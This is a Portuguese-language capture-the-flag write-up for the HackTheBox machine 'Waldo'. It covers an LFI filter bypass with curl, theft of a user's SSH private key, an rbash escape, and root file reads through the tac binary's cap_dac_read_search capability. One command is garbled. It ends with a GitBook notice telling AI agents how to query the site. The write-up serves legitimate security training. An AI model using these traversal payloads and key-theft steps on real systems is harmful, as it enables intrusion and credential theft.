> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md). # Relato da máquina Waldo no HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * LFI (Inclusion de Arquivo Local) - Bypass de Filtro * Obtendo a chave privada SSH de um usuário por meio do LFI * Saindo de um contêiner * Bypass de Restricted Shell * Abusando de Capabilities (cap\_dac\_read\_search+ei) (Escalada de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts ```

**Scan de Versão de Portas com Nmap 22,80:** Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80 10.10.10.87 -oN targeted ```

## Exploração da Porta 80

#### Interceptação com Burp Suite Analisamos as consultas e identificamos uma vulnerabilidade **LFI** (Inclusion de Arquivo Local).

### Teste básico de LFI Tentamos acessar `/etc/passwd`: ``` ../../../../etc/passwd ``` Isso não funciona.

### Bypass de Filtro LFI Estamos testando um bypass com ``` ....//....//../....//..//....//etc/passwd ``` Esse bypass funciona, e agora podemos listar o `/etc/passwd` arquivo.

#### Extração de Arquivo com Curl Usamos `curl` para recuperar o arquivo pelo endpoint vulnerável: {% code overflow="wrap" %} ```bash curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file' ``` {% endcode %} Encontramos o usuário **nobody**.

### Acesso ao `.ssh` diretório de nobody Interceptamos a requisição da página `list.html` e notamos que a variável `path` é usada para recuperar arquivos.

Exploramos o diretório home de `nobody`: ``` ....//....//../....//..//....//home/nobody/.ssh/ ```

Encontramos um `.monitor` arquivo. #### Extração da chave privada SSH {% code overflow="wrap" %} ```bash curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file' ``` {% endcode %} Estamos recuperando uma chave privada.

#### Conexão SSH para nobody Conectamos com a chave recuperada: ```bash ssh nobody@10.10.10.87 -i id_rsa ```

### Flag user.txt :)

## Pivotando para o usuário operator Identificamos um arquivo de usuário `operador`

Encontramos um `authorized_keys` pertencente a `monitor`.

#### Conexão SSH para monitor ```bash ssh monitor@127.0.0.1 -i .monitor ``` Nos encontramos em um shell limitado (`rbash`).

### Bypass de Restricted Shell Iniciamos uma sessão SSH especificando `bash`: ```bash ssh monitor@127.0.0.1 -i .monitor "bash --noprofile" ```

## Escalada de privilégios ### Capabilities- Tac Listamos arquivos com capabilities específicas: ```bash getcap -r / 2>/dev/null ``` Identificamos que **tac** tem a `cap_dac_read_search+ei` capability:

#### Operação tac para ler arquivos protegidos O `tac` comando (inverso de `cat`) nos permite reproduzir os arquivos invertendo seu conteúdo. ```bash tac /etc/shadow ```

### Flag root.txt :) **Leitura da flag root.txt** ```bash tac /root/root.txt | tac ```

**Recuperação da chave SSH de root** ```bash /usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.